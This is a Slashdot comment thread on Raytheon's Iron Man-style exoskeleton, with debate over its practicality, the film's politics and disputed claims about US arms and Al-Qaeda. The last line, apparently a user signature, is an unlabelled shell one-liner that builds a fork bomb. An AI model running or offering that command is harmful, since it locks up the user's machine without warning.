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Raytheon Exoskeleton Brings "Iron Man" to Life
An anonymous reader writes "Raytheon is bringing 'Iron Man' to life, according to EETimes. 'The movie opens in theaters worldwide today, but the real "iron man" has already been under construction at Raytheon Company (Salt Lake City, Utah) since 2000. Raytheon's Exoskeleton project is the brainchild of project leader Stephen Jacobsen and is being funded by the U.S. Army. The project, according to the company, permits soldiers to don an Exoskeleton suit that amplifies their strength — enabling them to lift 200-pound payloads without tiring.'"
#DeleteChrome
is but ONE of many who develop such stuff.
The exo-skeleton concept has been around for
MANY years, just grab an old copy of Popular
Science from the 1960's. The subject was
"Man Amplifiers". Nothing to see here.
That's from Alien. Now if the suit allowed the soldier to fly then it'd be from Iron Man.
I agree..
And..
Holy fucking shit.. Are we going to get rehashes of every robotics story we've ever heard comparing it to how it somehow is kind of like Ironman's fictional gear?
I guess this has to happen over every geekpr0n movie. It'll get called a blockbuster before release, then everyone will run out and buy shit related to the movie, then mcdonalds will have a happy meal toy for it, slashdot people will run linking headlines to any article that merely mentions the title.
Damn it people.
for a topless sunbathing scene
Yea, those look exactly the same.
It's like saying we already have jetpacks then pointing at a trampoline.
or else!
And corporatism, and empire, and technophilic military priapism.
"Flyin' in just a sweet place,
Never been known to fail..."
What the heck does ballyhooed mean?
It means it was the subject of an Indian Musical film, my dear.
"Flyin' in just a sweet place,
Never been known to fail..."
http://gadgets.boingboing.net/2008/04/17/rent-a-hal-robot-sui.html
It may not have the same MAX strength gain but:
a) doesn't still require a tether
b) has a much lower profile
c) You can already RENT IT.
EA David Gardner -"... but the consumers have proven that actually what they want is fun."
Which is AWESOME.
Umm, the movie is about a man who makes weapon systems, and finds out they're being horribly misused. He then stops selling them, at a huge loss to his personal wealth. Not exactly fascist propaganda there.
I still have more fans than freaks. WTF is wrong with you people?
Whoopie... does Raytheon have awesome batteries too? No? Then they won't be getting very far in that Iron Man suit, will they? Slashvertisement indeed. The suit isn't news. The power source is the sci-fi part.
Holy fucking shit.. Are we going to get rehashes of every robotics story we've ever heard comparing it to how it somehow is kind of like Ironman's fictional gear?Why not? Every time we have a Cat5 hurricane, we hear the self flagellating global warming cultists tell us we should repent for enjoying the benefits of a modern society.
I guess this has to happen over every geekpr0n movie.Yep, you nailed it. Comic book movie == /. gold. Who cares if it funds another MPAA lawsuit? I want my geekpr0n!
I'm not so sure. Think about special forces chasing Taliban around the rugged mountains of Afghanistan with their 130 lb backpacks. That is not something a forklift can help them do.
I can go see a film purely for the CGI aspects. I don't always want deep meaning attached. Iron man is chalk full of western culture....because it's a western film. Also, yes, I think certain pieces of military hardware are cool (i.e. the SR-71 blackbird, the Global Hawk UAV, etc) from an engineering standpoint. So what? Hell, even weapon systems are cool when they're used properly in a movie (i.e. the Death Star was a weapons system mind you). If you're looking for something deeply meaningful, perhaps going to the movies isn't your best choice of venue.
One of the links in the article leads to a page about a company called Cyberdyne creating a robotic exoskeleton named HAL... http://www.cyberdyne.jp/English/robotsuithal/index.html
Valid point, but our guys(and ladies!) in Iraq have a hard enough time getting normal equipment. What makes you think a soldier's life is worth what these exoskeletons are going to cost? I don't see that as a reasonable application of the technology.
:)
On a side note, I'd hate to be wearing one of those things and carrying around 400 pounds when it breaks down
Of course, these exoskeletons were piloted by Martians, not humans.
Exoskeletons also appeared in Robert Heinlein's 1959 (or was it 1958 in the magazine serial?) Starship Troopers:
"How to Do Nothing," kids activities, back in print!
The primary problem with an exoskeleton, at least as it pertains to front line combat use, is and, as far as I know, remains the massive heat signature generated by the internal combustion engine that is required to pressurize the hydraulic components (a battery powered compressor would probably be impractical and not any less heat generating). Anyone wearing this exoskeleton would show up like the sun on infrared making them vulnerable to the types of heat seeking missiles or automated guns that would normally target vehicles and other substantial heat sources. If you are going to have the heat problem then why not just use a vehicle which can mount the heavy weapon on the chassis, carry some exhaust cooling shrouds, and provide more armor than the exoskeleton? The exoskeleton doesn't make much sense, at least in my opinion, for front line operations or at least not it its present form. It doesn't offer enough advantages over a vehicle to make it worthwhile to accept the same or similar set of drawbacks (i.e. generating large quantities of waste heat).
Anyone remember there were the 30+ story mechs along with the mini body-suit mechs? The pic in the article looks just like the beginning of those mini ones. So by that reasoning around the turn of the next millennium we'll have the huge ones, but any dedicated gamer saw this coming well over a decade ago. Can't wait for trial by combat!
I disliked V for Vendetta, because that truly was an film which took serious liberties with the source material (to the point where the original author declined to be credited). It misrepresented the plot to make it appeal to fools like you; the kind of fools that see homo-eroticism in a superhero story and aren't aware of the really sinister films; the ones that pander to the American anti-American (and I say this as a British person). I mean the kind of tiresome American who thinks that the two solutions to the current bad president are revolution or magical panacea of the democratic party. I'm sure some of the latter persuasion think they're both the same thing.
Keep on fighting the man, man!
I think what we're looking at here is less of fascist propaganda, and more of a muddled attempt at creating a topical movie. It just simply doesn't count as propaganda when the writers are too stupid to realize that the schlock they dish out, which is intended to appeal to the lowest common denominator, also happens to expound the ignorant mentality of "Us vs. Them."
The automobile had no military value when it was first invented either. It was slow, cumbersome and weak. Now look at military transports and tanks today. As you said, "at least not in its present form". You've gotta start somewhere.
CGI = Computer Generated Imagery
"CGI" stands for "Computer-Generated Imagery." "CG" also stands for "Computer Graphics" but gp is not wrong.
have to agree. the movie is pure popcorn entertainment (saw it last night), you go to these kinds of movies to have fun, not be intellectually manhandled. Its sad to see that the simple pleasures of a summer blockbuster can be totally lost on some people.
Just giving us the Aliens powerloader would be impressive. Robocop would be even more impressive. But the Iron Man suit strays far into unobtanium territory. Antimatter powerplant, antigrav flight, there ain't no way we're getting something like that for another 50 years. That'd be like rolling out the first Sopwith Camel and saying we've made good progress towards the F-22.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
"Ok, ok, you probably think that's an unfair question. How 'bout this: how many American-made weapons has Al-Qaeda purchased?"
Moot question, we've outsourced nearly 100% of weapons manufacturing to foreign nations anyway. That said, Al Quaeda was formed and trained by the CIA, and their initial cache of weapons consisted largely of American arms. since then they've purchased far cheaper Soviet designs not because they couldn't have bought pricier American ones, but because they wanted more bang for their limited bucks (all puns intended) and went for the bargain stuff. If Al Quaeda could actually afford American weapons in any significant quantity, I'm sure they'd be happy to buy them from any number of people who would just love to sell them.
"Ok, last question: how much US technology was sold to ANY communist nation during the cold war?"
How many Western technologies wwere the KGB able to acquire through espionage? That number would be a solid start.
Try not to take me more seriously than I take myself.
The irony is he uses terms such as "too stupid", "they dish out", "appeal to the lowest common denominator" and "ignorant mentality" in a distinct attempt to segregate himself from them.
Another lie. The CIA helped fund the original Afghan insurgency, meaning the local tribal warlords. Al Qaeda came on to the scene much later, and brought their own sources of funding. The CIA never had anything to do with them. Actually, you made two lies in one sentence, because their weapons certainly weren't American. Last I checked, the US doesn't make AK-47's, or RPG's. Osama Bin Laden's personal fortune is estimated at around $300 million. He could easily afford US-made weapons, even without dipping into all the funding generated by various mosques and organizations which have ties to Al Qaeda. Your argument is ridiculous.
Ah, so technology aquired through espionage = technology sold by US. Right.
That little piece of idiocy is a perfect way to cap-off you gormless rant. Please stop now, before you embarrass yourself any further.
I didn't explain myself properly. My mistake. When I go to a movie, I'm not that concerned with the plot. I went to see Transformers to see the excellent work ILM did. I went to see Cloverfield to see how well their CGI work was. When I want substance, I read a decent book.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;